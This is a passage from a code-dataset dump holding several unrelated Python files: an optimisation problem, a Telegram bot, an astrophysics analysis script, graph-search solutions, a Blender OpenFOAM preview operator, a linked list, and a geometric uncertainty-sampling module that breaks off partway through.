x3)\n        CV2 = 0.55 - x1 / (x1 + x2 + x3)\n        CV3 = (Ag + x1 + x2 + x3) / 4163.5 - 3.5\n        CV4 = ((5.38 * x1 + 3 * x2 + 1.82 * x3) * (2 * 0.115 + 0.166)) / 100 - 242\n        pop.CV = np.hstack([CV1, CV2, CV3, CV4])\n","repo_name":"Hangyoo/TaoB","sub_path":"nsga2_2_obj_20210131/problem.py","file_name":"problem.py","file_ext":"py","file_size_in_byte":1919,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"70030022162","text":"from telegram.ext import Updater, CommandHandler, MessageHandler, Filters\nimport logging\nimport settings\n\n\n\n# error_logger= logging.getLogger()\n# error_logger.setLevel(logging.INFO)\n# handler = logging.FileHandler('bot1_stat.log', 'w', 'utf-8')\n# handler.setFormatter = logging.Formatter(\"%(asctime)s - %(levelname)s - %(message)s\")\n# error_logger.addHandler(handler)\n\n\nformatter = logging.Formatter(\"%(asctime)s - %(levelname)s - %(message)s\")\n\n\ndef setup_logger(name, log_file, level):\n\n    handler = logging.FileHandler(log_file, 'w', 'utf-8')        \n    handler.setFormatter(formatter)\n\n    logger = logging.getLogger(name)\n    logger.setLevel(level)\n    logger.addHandler(handler)\n\n    return logger\n\n\ndef greet_user(bot, update):\n    greet_text = \"Вызван /start\"\n    logging.error(greet_text)\n    update.message.reply_text(greet_text)\n\n\ndef talk_to_me(bot, update):\n    user_text = \"Привет {}! Ты написал {}\".format(update.message.chat.username, update.message.text)\n    logging.info(\"User: %s, Chat id: %s, Message: %s\", update.message.chat.username,\n                update.message.chat.id, update.message.text)\n    update.message.reply_text(user_text)\n\n\ndef main():\n    my_bot = Updater(settings.API_KEY, request_kwargs=settings.PROXY)\n\n    logging.info(\"Бот запускается\")\n\n    dp = my_bot.dispatcher\n    dp.add_handler(CommandHandler(\"start\", greet_user))\n    dp.add_handler(MessageHandler(Filters.text, talk_to_me))\n\n    my_bot.start_polling()\n    my_bot.idle()\n\n\ninfo_logger = setup_logger(\"info_logger\",\"bot1_info.log\", logging.INFO)\nerr_logger = setup_logger(\"err_logger\",\"bot1_err.log\", logging.ERROR)\n\nmain()","repo_name":"Nexdoom/bot1","sub_path":"bot1.py","file_name":"bot1.py","file_ext":"py","file_size_in_byte":1659,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"12849885781","text":"#!/usr/bin/env python3\n\nimport numpy as np\nimport json\nimport sys\nimport re\nfrom astropy.cosmology import FlatLambdaCDM\nimport warnings\ncosmo=FlatLambdaCDM(H0=71,Om0=0.27)\ndef main(name):\n    result_file=name+'_result.csv'\n    for i in open(result_file,'r'):\n        if re.match('sbp_c',i):\n            sbp_c=np.float(i.split(',')[1])\n    for i in open('param_zzh_for_py.txt'):\n        if re.match(r'^z',i):\n            z=np.float(i.split()[1])\n    for i in open('aic_flag.txt'):\n        if re.match(r'^aic-flag',i):\n            aic_flag=i.split()[1]\n        if re.match(r'^aic-diff',i):\n            aic_diff=i.split()[1]\n    for i in open('global.cfg'):\n        if re.match(r'^sbp_data_file',i):\n            sbp_data_file=i.split()[1]\n    exp_file='../exposure.txt'\n    expo=0\n    if '+' in name:\n        name_use=name.replace('+','\\+')\n    else:\n        name_use=name\n    for i in open(exp_file):\n        if re.match(name_use+'\\s',i):\n            expo=np.float(i.split()[1])\n    if expo==0:\n        warnings.warn('check the exposure time for '+name )\n        expo=30\n    rsbp_array=[]\n    rsbpe_array=[]\n    sbp_array=[]\n    sbpe_array=[]\n    rcsbp_array=[]\n    rcsbpe_array=[]\n    csbp_array=[]\n    csbpe_array=[]\n    for i in open(sbp_data_file):\n        r,rer,sbp,sbpe,f_sbp=i.split()\n        r=float(r)\n        rer=float(rer)\n        sbp=float(sbp)\n        sbpe=float(sbpe)\n        if f_sbp=='c':\n            rcsbp_array.append(r)\n            rcsbpe_array.append(rer)\n            csbp_array.append(sbp)\n            csbpe_array.append(sbpe)\n        else:\n            rsbp_array.append(r)\n            rsbpe_array.append(rer)\n            sbp_array.append(sbp)\n            sbpe_array.append(sbpe)\n    json_file=name+'_plt.json'\n    fi=open(json_file,'r')\n    dat=json.load(fi)\n    rne_array=np.array(dat['radius_model'],dtype=float)\n    sbp_model=np.array(dat['sbp_model'][0],dtype=float)\n    sum_file=name+'_suminfo.txt'\n    for i in open(sum_file,'r'):\n        if re.match('r500:',i):\n            r500=np.float(i.split()[1])\n        if re.match('r200:',i):\n            r200=np.float(i.split()[1])\n        if re.match('Tave',i):\n            T=np.float(i.split()[1])\n        if re.match('csb',i):\n            csb=np.float(i.split()[1])\n        if re.match('tcool',i):\n            tcool=np.round(np.float(i.split()[1]),3)\n        if re.match('lx200:',i):\n            lx200=np.float(i.split()[1])\n        if re.match('m500:',i):\n            m500=np.float(i.split()[1])\n    dl=cosmo.luminosity_distance(z).value #Mpc\n    kpc_per_arcmin=cosmo.kpc_proper_per_arcmin(z).value #kpc/arcmin\n    angle_size=r200/kpc_per_arcmin\n    fx=np.round(lx200/dl/dl,3)\n    for i in open('pcount.txt'):\n        pcount=i[0:-1]\n    for i in range(len(rne_array)):\n        if rne_array[i]>=r200:\n            ind=i\n            break\n#    print(sbp_c,rne_array[400],sbp_model[400])\n    snr=(sbp_model[ind]-sbp_c)/sbp_c\n    snr=np.round(snr,3)\n    snr_m=np.round((sbp_array[-1]-sbp_c)/sbp_c,3)\n    for i in open(name+'_csb.txt'):\n        if re.match('csb',i):\n            ocsb=np.round(float(i.split()[1]),3)\n            ocsberr=np.round(float(i.split()[3]),3)\n        if re.match('fx',i):\n            ofx=float(i.split()[1])\n            ofxerr=float(i.split()[3])\n    print(name,rne_array[ind],snr,z,snr_m,T,csb,tcool,fx,pcount,aic_flag,aic_diff,m500,expo,angle_size,lx200,ocsb,ofx,ocsberr,ofxerr)\n#    print(name,ofx,ocsb,aic_flag)\n\n    return snr\n\nif __name__=='__main__':\n    name=sys.argv[1]\n    main(name)\n","repo_name":"zzh0616/entropy","sub_path":"est_sbkg.py","file_name":"est_sbkg.py","file_ext":"py","file_size_in_byte":3486,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"71646504403","text":"from collections import deque\n\n\nclass Solution:\n    def validPath(self, n: int, edges: List[List[int]], start: int, end: int) -> bool:\n\n        graph = {}\n\n        for edge in edges:\n            graph[edge[0]] = graph.get(edge[0], []) + [edge[1]]\n            graph[edge[1]] = graph.get(edge[1], []) + [edge[0]]\n\n        queue, visited = deque(), set()\n        queue.append(start)\n        visited.add(start)\n\n        while queue:\n            node = queue.popleft()\n            if node == end:\n                return True\n\n            for adjacent_node in graph[node]:\n                if adjacent_node not in visited:\n                    queue.append(adjacent_node)\n                    visited.add(adjacent_node)\n\n        return False\n\n# Time = O(n + m) |Vertices| + |Edges|\n# Space = O(n)\n\n\nclass Solution:\n    def validPath(self, n: int, edges: List[List[int]], source: int, destination: int) -> bool:\n        #BFS\n        graph = {}\n\n        for edge in edges:\n            if edge[0] in graph:\n                graph[edge[0]].append(edge[1])\n            else:\n                graph[edge[0]] = [edge[1]]\n\n            if edge[1] in graph:\n                graph[edge[1]].append(edge[0])\n            else:\n                graph[edge[1]] = [edge[0]]\n\n        visited = set()\n        tovisit = deque()\n        tovisit.append(source)\n\n        while len(tovisit):\n            curr = tovisit.popleft()\n\n            if curr == destination:\n                return True\n\n            visited.add(curr)\n\n            for neighbour in graph[curr]:\n                if neighbour not in visited:\n                    tovisit.append(neighbour)\n\n        return False\n","repo_name":"geraldelorm/DSA-problems","sub_path":"LeetCode/1971. Find if Path Exists in Graph/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":1645,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}
+{"seq_id":"72361682642","text":"import pandas as pd\nimport unittest\n\ndef binsFunc(filename) :\n    bins = pd.read_csv(filename, sep=':', header=None, index_col=None, skiprows=6)\n    bins.columns = ['cols', 'vals']\n    bins['index_col'] = bins.index\n    bins = pd.pivot(index=bins.groupby('cols').cumcount(),\n                  columns=bins['cols'],\n                  values=bins['vals'])\n    bins.columns = ['Begin', 'Datestamp', 'Date', 'End', 'Summary', 'UID']\n    bins['Date_as_Datetime']=pd.to_datetime(bins['Date'])\n    same_day_collections = bins.groupby('Date_as_Datetime').count()\n    bins = bins.sort_values(by=['Date_as_Datetime'])\n    print(bins.head())\n    print(bins.tail())\n    print(same_day_collections)\n    return same_day_collections.iloc[0][1] == 1\n\nclass SomeTests(unittest.TestCase):\n\n    def testOne(self):\n        self.assertTrue(binsFunc('binfeed.ical'))\n\ndef main():\n    unittest.main()\n\nif __name__ == '__main__':\n    main()\n","repo_name":"DavTho1983/Bins","sub_path":"bins.py","file_name":"bins.py","file_ext":"py","file_size_in_byte":917,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"9953202487","text":"# <pep8 compliant>\nfrom bpy.props import EnumProperty\nfrom bpy.types import Operator, Context\n\nimport logging\n\nfrom nimphs.operators.utils.mesh import OpenfoamMeshUtils\nfrom nimphs.operators.utils.object import OpenfoamObjectUtils\nfrom nimphs.operators.utils.material import OpenfoamMaterialUtils\nfrom nimphs.operators.utils.vertex_color import OpenfoamVertexColorUtils\nlog = logging.getLogger(__name__)\n\nimport time\n\nfrom nimphs.panels.utils import get_selected_object\n\n\nclass NIMPHS_OT_OpenfoamPreview(Operator):\n    \"\"\"Operator to generate a preview of an OpenFOAM object.\"\"\"\n\n    register_cls = True\n    is_custom_base_cls = False\n\n    bl_idname = \"nimphs.openfoam_preview\"\n    bl_label = \"Preview\"\n    bl_description = \"Preview the selected object\"\n\n    #: bpy.props.EnumProperty: Indicate which mode to use for this operator. Enum in ['NORMAL', 'TEST'].\n    mode: EnumProperty(\n        name=\"Mode\",                                    # noqa: F821\n        description=\"Indicate which mode to use for this operator. Enum in ['NORMAL', 'TEST']\",\n        items=[\n            ('NORMAL', \"Normal\", \"Run normal\"),         # noqa: F821\n            ('TEST', \"Test\", \"Run for unit tests\"),     # noqa: F821\n        ],\n        options={'HIDDEN'},                             # noqa: F821\n    )\n\n    @classmethod\n    def poll(cls, context: Context) -> bool:\n        \"\"\"\n        Check if the operator can run.\n\n        Args:\n            context (Context): context\n\n        Returns:\n            set: state of the operator\n        \"\"\"\n\n        obj = get_selected_object(context)\n        if obj is None:\n            return False\n\n        file_data = context.scene.nimphs.file_data.get(obj.nimphs.uid, None)\n        return file_data is not None and file_data.is_ok()\n\n    def execute(self, context: Context) -> set:\n        \"\"\"\n        Generate a preview of the selected object.\n\n        Args:\n            context (Context): context\n\n        Returns:\n            set: state of the operator\n        \"\"\"\n\n        start = time.time()\n\n        # Get settings\n        obj = get_selected_object(context)\n        clip = obj.nimphs.settings.openfoam.clip\n        io_settings = obj.nimphs.settings.openfoam.import_settings\n        file_data = context.scene.nimphs.file_data.get(obj.nimphs.uid, None)\n\n        if clip.type != \"\" and clip.scalar.name == \"None\":\n            self.report({'WARNING'}, \"Select a scalar to clip on. You may need to reload the file if none are shown\")\n            return {'FINISHED'}\n\n        prw_time_point = obj.nimphs.settings.preview_time_point\n\n        # Generate mesh data\n        try:\n            file_data.update_import_settings(io_settings)\n            file_data.update_data(prw_time_point)\n            vertices, file_data.mesh = OpenfoamMeshUtils.vertices(file_data, clip)\n            faces = OpenfoamMeshUtils.faces(file_data.mesh)\n        except Exception:\n            log.debug(\"Something went wrong building the mesh\", exc_info=1)\n            self.report({'WARNING'}, \"Something went wrong building the mesh\")\n            return {'CANCELLED'}\n\n        # Generate object\n        try:\n            obj = OpenfoamObjectUtils.generate(vertices, faces, obj.name_full)\n            if context.collection.name not in [col.name for col in obj.users_collection]:\n                context.collection.objects.link(obj)\n        except Exception:\n            log.debug(\"Something went generating the object\", exc_info=1)\n            self.report({'WARNING'}, \"Something went wrong generating the object\")\n            return {'CANCELLED'}\n\n        # Import point data as vertex colors\n        point_data = obj.nimphs.settings.preview_point_data\n        if point_data is not None and point_data != 'NONE':\n            data = OpenfoamVertexColorUtils.prepare(obj.data, point_data, file_data)\n            if not data.is_empty():\n                OpenfoamVertexColorUtils.generate(obj.data, data)\n                OpenfoamMaterialUtils.generate_preview(obj, name=\"OpenFOAM_preview_material\")\n\n        try:\n            # Update point data local value ranges\n            if self.mode != 'TEST':\n                for name in file_data.vars.names:\n                    file_data.update_var_range(name, data=file_data.get_point_data_from_raw(name))\n        except BaseException:\n            log.warning(\"An error occurred updating point data local value range.\", exc_info=1)\n\n        log.info(\"{:.4f}\".format(time.time() - start) + \"s\")\n        self.report({'INFO'}, \"Preview done\")\n\n        return {'FINISHED'}\n","repo_name":"Artelia/NIMPHS","sub_path":"nimphs/operators/openfoam/openfoam_preview.py","file_name":"openfoam_preview.py","file_ext":"py","file_size_in_byte":4501,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"3"}
+{"seq_id":"19004315330","text":"class Node:\r\n    def __init__(self, data=None, next=None):\r\n        self.data = data\r\n        self.next = next\r\n\r\n\r\nclass LinkedList:\r\n    def __init__(self):\r\n        self.head = None\r\n        self.last = None\r\n\r\n    def printList(self):\r\n        node = self.head\r\n        string = \"\"\r\n\r\n        if node is None:\r\n            print(\"Lista vazia\")\r\n        while node:\r\n            string += f\"{str(node.data)} -> \"\r\n            node = node.next\r\n\r\n        string += \" Fim da lista\"\r\n        print(string)\r\n\r\n    def inesertBegining(self, data):\r\n        if self.head is None:\r\n            self.head = Node(data)\r\n            self.last = self.head\r\n            return\r\n\r\n        node = Node(data, self.head)\r\n        self.head = node\r\n\r\n    def insertAtEnd(self, data):\r\n        if self.head is None:\r\n            self.inesertBegining(data)\r\n            return\r\n\r\n        self.last.next = Node(data)\r\n        self.last = self.last.next\r\n\r\n    def userById(self, id):\r\n        node = self.head\r\n        while node:\r\n            if node.data[\"id\"] is int(id):\r\n                return node.data\r\n            node = node.next\r\n\r\n        return None\r\n        \r\n\r\n\r\n\r\n\r\nlist = LinkedList()\r\nlist.inesertBegining(\"New head\")\r\nlist.inesertBegining(\"New head 2\")\r\nlist.insertAtEnd(\"Final Node\")\r\nlist.printList()\r\n","repo_name":"kiq17/python-flask","sub_path":"linked_list.py","file_name":"linked_list.py","file_ext":"py","file_size_in_byte":1305,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"73582369681","text":"\"\"\"\nThis module contains all classes related to crisp objects.\n\"\"\"\nimport FObjects\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport utilities\nimport _distributions as distributions\n\nclass CrispObject(FObjects.FObject):\n    \"\"\"\n    Base class for all crisp objects. Not instantiable\n\n    - *x,y*: Numpy arrays of x and y coordinates, each of length N\n    - *cov*: A numpy 2n-by-2n matrix containing the variances and co-variances within and\n      between points where n is the number of points. The rows and columns correspond\n      to the x and y covariances in sequence. E.g., for 2 points x0, y0, x1, y1, the\n      covariance  matrix's rows and columns are\n\n      == == == == ==\n      \\  x0 x1 y0 y1\n      == == == == ==\n      x0\n      x1\n      y0\n      y1\n      == == == == ==\n\n    - *unc_pts*: numpy array of length >= N. if the i'th position is 0, it indicates that the\n      i'th in the x,y arrays has no uncertainty.\n    - *isClosed*: Boolean indicating whether the object will be treated as having a closed boundary.\n    \"\"\"\n\n    def __init__(self,x,y,cov,unc_pts,isClosed):\n        if type(self) is CrispObject:\n            raise NotImplementedError('FObject.__init__(): abstract class')\n\n        FObjects.FObject.__init__(self,x,y,isClosed)\n\n        if np.ndim(cov)!=2:\n            raise Exception(\"The covariance matrix must have dimension 2\")\n        if np.size(cov,0)!=np.size(cov,1):\n            raise Exception(\"The covariance matrix must be square\")\n\n        #http://stackoverflow.com/questions/5320324/testing-if-a-numpy-array-is-symmetric\n        if not np.allclose(np.transpose(cov), cov):\n            raise Exception(\"Covariance matrix must be symmetric\")\n        if np.any(np.diagonal(cov)<=0):\n            raise Exception(\"Invalid covariance matrix. One of the diagonal entries is <=0\")\n\n        if np.size(unc_pts)>np.size(x):\n            print(\"Warning: {} elements in unc_pts, expected {}. Ignoring extra ones\".format(\n                np.size(unc_pts),np.size(x)))\n        if  np.size(unc_pts)<np.size(x):\n            raise Exception(\"{} elements in unc_pts. Need at least {}\".format(\n                np.size(unc_pts),np.size(x)))\n\n        self._unc_pts=unc_pts\n        self._cov=cov\n\n        #stores the genreated realizations in a 2D numpy array. The rows are realizations, columns\n        #are: x0,...,xn,y0,...,yn of the distorted points\n        self._realizations=None\n\n        #list of shapely polygons\n        self._realizationsPolygons=[]\n\n        self._lastDistr=None\n\n    @property\n    def realizations(self):\n        \"\"\"\n        Returns the vertices of the distorted object in two 2D numpy arrays x,y.\n        The columns are the x or y coordinates for all vertices and the rows are the realizations.\n        \"\"\"\n        if self._realizations==None:\n            raise Exception(\"No realizations have been generated yet!\")\n\n        numpts=np.size(self._x)\n        pts_x=self._realizations[:,0:numpts]\n        pts_y=self._realizations[:,numpts:2*numpts]\n\n        return pts_x, pts_y\n\n    @property\n    def realizationsPolygons(self):\n        \"\"\"\n        Returns a list of Shapely shapes.\n        (LineStrings if the shape is open, Point if it's a point).\n        \"\"\"\n        objtype='RigidObj' if utilities.isRigidObject(self) else 'DeformableObj'\n        utilities.msg('{}: generating shapes'.format(objtype),'v')\n        if self._realizations==None:\n            raise Exception(\"No realizations have been generated yet!\")\n        if len(self._realizationsPolygons)>0:\n            return self._realizationsPolygons\n\n        pts_x,pts_y=self.realizations\n\n        n=np.size(pts_x,0)\n\n        for i in range(n):\n            shape=utilities.pointslist2Shape(pts_x[i],pts_y[i],self._isClosed)\n            self._realizationsPolygons.append(shape)\n\n        utilities.msg('\\t{} shapes were generated'.format(n),'v')\n\n        return self._realizationsPolygons\n\n    @property\n    def uncertainVertices(self):\n        \"\"\"\n        Returns the array of uncertain vertices.\n\n        The array contains a 1 at indices corresponding to vertices which are uncertain.\n        \"\"\"\n        return self._unc_pts\n\n    def generateNormal(self,n):\n        \"\"\"\n        Abstract method which generates a set of realizations for a CrispObject using\n        a multivariate normal. Derived classes may have addtional parameters.\n\n        - *n*: the number of realizations to generate\n        \"\"\"\n        raise NotImplementedError(\"CrispObject.generateNormal(): abstract method\")\n    def generateUniform(self,n):\n        \"\"\"\n        Abstract method which generates a set of realizations for a CrispObject using\n        a multivariate uniform distribution. Derived classes may have addtional parameters.\n\n        - *n*: the number of realizations to generate\n        \"\"\"\n        raise NotImplementedError(\"CrispObject.generateUniform(): abstract method\")\n    def generateLastUsed(self,n):\n        \"\"\"\n        Abstract method which generates a set of realizations for a CrispObject using\n        the last used distribution. Derived classes may have addtional parameters.\n\n        - *n*: the number of realizations to generate\n        \"\"\"\n        if self._lastDistr==None:\n            raise Exception('must call generateNormal or generateUniform at least once before callling this!')\n\n        if self._lastDistr==distributions.DIST_NORM:\n            self.generateNormal(n)\n        elif self._lastDistr==distributions.DIST_UNIF:\n            self.generateUniform(n)\n        else:\n            raise Exception('{} distribution not known'.format(self._lastDistr))\n\n    def plot(self,fignum=-1,meanLine=True,lines=True,points=False,n=-1):\n        \"\"\"\n        Plots this object.\n\n        - *fignum*: the figure to plot into\n        - *meanLine*: plots the mean line\n        - *lines*: If true connects each point with lines\n        - *points*: If drue draws the generated points\n        - *n*: the number of realizations (starting from the first one) to plot. If <1 plots all\n\n        Plots into the given figure but doesn't show it until until matplotlib show() is called.\n        \"\"\"\n        if self._realizations==None:\n            raise Exception(\"No realizations have been generated yet! Nothing to plot.\")\n\n        if not lines and  not points:\n            raise Exception(\"Nothing to plot. Lines and Points parameters are both false\")\n\n        if fignum<0:\n            f=plt.figure()\n            fignum=f.number\n        else:\n            plt.figure(fignum)\n        plt.axis('equal')\n\n        numvars=np.size(self._realizations,1)\n        numrealizations=np.size(self._realizations,0)\n\n        if n>=np.size(self._realizations,0):\n            n=np.size(self._realizations,0)\n\n        #make the loop easier to read\n        if n<1:\n            n=numrealizations+1\n\n        #plot each row. Split the array in half (down the columns) since X and Y are\n        #arranged like that in the data.\n        if lines:\n            for i in range(min(numrealizations,n)):\n                plt.plot(self._realizations[i,0:numvars/2],self._realizations[i,-numvars/2:],\n                         '-',color='0.80')\n                if self._isClosed:\n                    #need a bunch of np.newaxis b/c slicing numpy arrays takes away dimensions.\n                    plt.plot(np.concatenate((self._realizations[i,numvars/2-1,np.newaxis],self._realizations[i,0,np.newaxis])),\n                             np.concatenate((self._realizations[i,-1,np.newaxis],self._realizations[i,numvars/2,np.newaxis])),\n                             '-',color='0.80')\n\n        if points:\n            for i in range(min(numrealizations,n)):\n                plt.plot(self._realizations[i,0:numvars/2],self._realizations[i,-numvars/2:],\n                    'x',color='0.2')\n\n        if meanLine:\n            if self._isClosed:\n                plt.plot(np.concatenate((self._x,np.r_[self._x[0]])),\n                         np.concatenate((self._y,np.r_[self._y[0]])),'--k')\n            else:\n                plt.plot(self._x,self._y,'--k')\n\n    def plotStats(self,fignum=None,labels=[]):\n        \"\"\"\n        Outputs  statistics for the first 3 variables. The plot is not shown\n        until matplotlib show() is called\n\n        - fignum: the figure in which to plot the stats. If <0 plots into a new figure\n        - labels: a list of length <=3 with labels to use for the statsOfPoints plot\n        \"\"\"\n        if self._realizations==None:\n            raise Exception(\"No realizations have been generated yet! Nothing to plot.\")\n\n        if fignum is None:\n            f=plt.figure()\n            fignum=f.number\n        else:\n            plt.figure(fignum)\n\n        plt.axis('equal')\n\n        numvars=np.size(self._realizations,1)\n        numpointstoplot=np.min([3,numvars/2])\n        var_x=self._realizations[:,0:numpointstoplot]\n        var_y=self._realizations[:,numvars/2:(numvars/2+numpointstoplot)]\n        data=np.hstack((var_x,var_y))\n\n        #build the labels\n        for i in range(numpointstoplot):\n            labels.append(\"x\"+str(i))\n        for i in range(numpointstoplot):\n            labels.append(\"y\"+str(i))\n\n        print(\"\\n\"+str(type(self)).replace(\"<class '\",\"\").replace(\"'>\",\"\"))\n        print(\"-----------------\")\n        print(\"Statistics for the first {} points\".format(numpointstoplot))\n        print(\"means {}:\".format(labels))\n        print(np.mean(data,axis=0)) #calculate the mean along the rows (ie down the columns)\n        cor_err=False\n        try:\n            print(\"corr & cov (columns/rows are {}\".format(labels))\n            print(np.corrcoef(data,rowvar=0))\n        except:\n            print('Warning: Couldn\\'t compute correlation coefficients. Probably not all vertices are uncertain')\n            cor_err=True\n        print(\"covariance matrix\")\n        print(np.cov(data,rowvar=0))\n\n        #plot\n        if not cor_err:\n            utilities.pairs(data=data,figurenum=fignum,labels=labels,rankcorr=True)\n        else:\n            print('Error: can\\'t make pairs plot since at least one vertex has covariance of zero')\n\nclass RigidObject(CrispObject):\n    \"\"\"\n    Represents a crisp, rigid object.\n\n    - *x, y*: numpy arrays of coordinate values\n    - *origin_x, origin_y*: the x,y coords of the rotation/translation origin\n    - *theta*: the mean of the rotation angle in degrees\n    - *cov*: A numpy 3-by-3 matrix containing the variances and co-variances of the center of\n      rotation and translation\n\n      =====   == == =====\n      \\       x0 y0 theta\n      =====   == == =====\n      x0\n      y0\n      theta\n      =====   == == =====\n\n    - *unc_pts*: numpy array of 0 or 1 of length N indicating whether point i is to be considered\n      uncertain or not. 1=uncertain\n    - *isClosed*: whther the object has a closed boundary\n    \"\"\"\n\n    def __init__(self,x,y,origin_x, origin_y,theta,cov,unc_pts,isClosed=True):\n        CrispObject.__init__(self,x,y,cov,unc_pts,isClosed)\n\n        if cov.shape!=(3,3):\n            raise Exception(\"The covariance matrix for a rigid object must be 3x3\")\n\n        self._origin_x=origin_x\n        self._origin_y=origin_y\n        self.__theta=theta\n\n        #stores the realizations of the translation an rotation parameters. Columns\n        #are: origin_x, origin_y, theta\n        self._realizationsParams=0\n\n\n    def _distortObject(self):\n        \"\"\"\n        From the realizations of the parameters, generate the realizations of the\n        distorted object.\n        \"\"\"\n        n=np.size(self._realizationsParams,0)\n\n        #perform an affine transformation (rotation and translation)\n        self._realizations=np.zeros((n,self._x.size+self._y.size))\n        for i in range(n):\n            x=self._realizationsParams[i,0]\n            y=self._realizationsParams[i,1]\n            theta=self._realizationsParams[i,2]\n\n            output=utilities.transformPoints(self._x,self._y,\n                                      x,y,\n                                      theta,\n                                      self._origin_x,self._origin_y)\n\n            #add the result to the array of points\n            self._realizations[i,:]=output.reshape((1,-1))\n\n        #reset any points not considered uncertain to the mean values\n        for i in range(np.size(self._unc_pts)):\n            if self._unc_pts[i]==0:\n                self._realizations[:,i]=self._x[i]\n                self._realizations[:,self._x.size+i]=self._y[i]\n\n    @property\n    def origin(self):\n        \"\"\"\n        Returns the origin of this rigid object as a tuple (origin_x, origin_y).\n        \"\"\"\n        return(self._origin_x,self._origin_y)\n\n    @property\n    def realizationsParams(self):\n        \"\"\"\n        Returns the realizations of the rigid object's parameters.\n\n        Unlike :func:`CrispObject.realizations` which returns the realizations\n        of the x and y coordinates of each vertex, *realizationsParams* returns\n        the rigid object's x, y, and theta realizations which apply to all vertiecs\n        in the object.\n\n        The return value are 3 numpy arrays, x, y, and theta. The values in\n        each array are the realizations for that variable.\n        \"\"\"\n        x=self._realizationsParams[:,0]\n        y=self._realizationsParams[:,1]\n        t=self._realizationsParams[:,2]\n        return x,y,t\n\n    def generateNormal(self,n,translate=True,rotate=True):\n        \"\"\"\n        Generates a set of realizations for a rigid object using a multivariate normal.\n\n        .. _crispobjects.rigidobject.generatenormal:\n\n        - n: the number of realizations to generate\n        - translate: enable translational uncertainty. If false, the x and y entries in the covariance matrix will be ignored.\n        - rotate: enable rotational uncertainty. If false, the theta entries in the covariance matrix will be ignored\n\n        Note: If there has been a previous call to any of the generate\\* functions, if translate or\n        rotate is false, the previously generated values will be used. This means that\n        upon subsequent calls, the genrated values won't be correlated with the values from the\n        previous run.\n        If there have been no previously generated values, the mean values will be used.\n        E.g.,\n\n        - 1st run: translate=True, rotate=False\n            The x and y values of translation are correlated according to the cov matrix.\n            All realizations of the rotation angle are equal to the mean value\n        - 2nd run: translate=False, rotate=True\n            The x and y values from run 1 are used and randomly generated values of theta\n            are used according to the variance of theta specified in cov. x,y are correlated\n            but are uncorrelated with theta, regardless of what is in the cov matrix.\n\n        The advantage to doing things this way is that we can have different distributions for\n        translation and rotation.\n        \"\"\"\n        utilities.msg(\"CrispObj realizations for x,y,theta: dist 'normal'\",'v')\n\n        if not translate and not rotate:\n            raise Exception(\"You must specify at least one of translational or rotational uncertainty\")\n        if n<1:\n            raise Exception(\"At least 1 realization is needed.\")\n\n        self._lastDistr=None\n\n        #clear the list\n        self._realizationsPolygons=[]\n\n        #initialize the results to the mean values\n        self._realizations=np.zeros((n,2*np.size(self._x)),dtype='f8')\n        self._realizationsParams=np.zeros((n,3),dtype='f8')\n\n        for i in range(n):\n            self._realizations[i,:]=np.concatenate((self._x,self._y))\n            self._realizationsParams[i,:]=np.r_[self._origin_x,self._origin_y,self.__theta]\n\n        realizations=distributions.generateNormal(np.r_[self._origin_x,self._origin_y,self.__theta],\n                                                 self._cov,n)\n\n        #only copy over the values for variables that are uncertain. Since we initialized\n        #the realization arrays to the mean in __init__, the arrays will retain the\n        #mean values unless specifically set.\n        if rotate==True:\n            self._realizationsParams[:,2]=realizations[:,2]\n        if translate==True:\n            self._realizationsParams[:,0]=realizations[:,0]\n            self._realizationsParams[:,1]=realizations[:,1]\n\n        self._distortObject()\n        self._lastDistr=distributions.DIST_NORM\n\n        #used by objectmanager\n        self._variances=np.diag(self._cov)\n        self._means=np.r_[self._origin_x,self._origin_y,self.__theta]\n\n        utilities.msg('\\tgenerated {} samples for {} vertices'.format(n,np.size(self._x)),'v')\n\n    def generateUniform(self,n,translate=True,rotate=True):\n        \"\"\"\n        Generates a set of realizations using a multivariate uniform.\n\n        - n: the number of realizations to generate\n        - translate: enable translational uncertainty. If false, the x and y entries in the covariance matrix will be ignored.\n        - rotate: enable rotational uncertainty. If false, the theta entries in the covariance matrix will be ignored.\n\n        Note on the covariance matrix:\n            This matrix is specified in the same way\n            as for normally distributed variables.\n            The covariances are used to calculate the correlation coefficient, which\n            here, is interpreted as Spearman's (rank) correlation. Therefore, the outputs\n            will be rank correlated.\n\n        See :ref:`generateNormal <crispobjects.rigidobject.generatenormal>` for a note about\n        subsequent calls.\n        \"\"\"\n        utilities.msg(\"CrispObj realizations for x,y,theta: dist 'uniform'\",'v')\n\n        if not translate and not rotate:\n            raise Exception(\"You must specify at least one of translational or rotational uncertainty\")\n        if n<1:\n            raise Exception(\"At least 1 realization is needed.\")\n\n        self._lastDistr=None\n        self._realizationsPolygons=[]\n\n        #initialize the results to the mean values\n        self._realizations=np.zeros((n,2*np.size(self._x)),dtype='f8')\n        self._realizationsParams=np.zeros((n,3),dtype='f8')\n\n        for i in range(n):\n            self._realizations[i,:]=np.concatenate((self._x,self._y))\n            self._realizationsParams[i,:]=np.r_[self._origin_x,self._origin_y,self.__theta]\n\n        #the range of variation of the uniform distr is calculated from the\n        #definition of the variance for the uniform distr\n        var=np.diag(self._cov)\n        mean=np.r_[self._origin_x,self._origin_y,self.__theta]\n        bound_lower=mean-np.sqrt(12*var)/2.\n        bound_upper=mean+np.sqrt(12*var)/2.\n        cor= utilities.cov2cor(self._cov)\n        realizations=distributions.generateUniform(bound_lower,bound_upper,cor,n)\n\n\n        #only copy over the values for variables that are uncertain. Since we initialized\n        #the realization arrays to the mean in __init__, the arrays will retain the\n        #mean values unless specifically set.\n        if rotate==True:\n            self._realizationsParams[:,2]=realizations[:,2]\n        if translate==True:\n            self._realizationsParams[:,0]=realizations[:,0]\n            self._realizationsParams[:,1]=realizations[:,1]\n\n        self._distortObject()\n        self._lastDistr=distributions.DIST_UNIF\n\n        #used by objectmanager\n        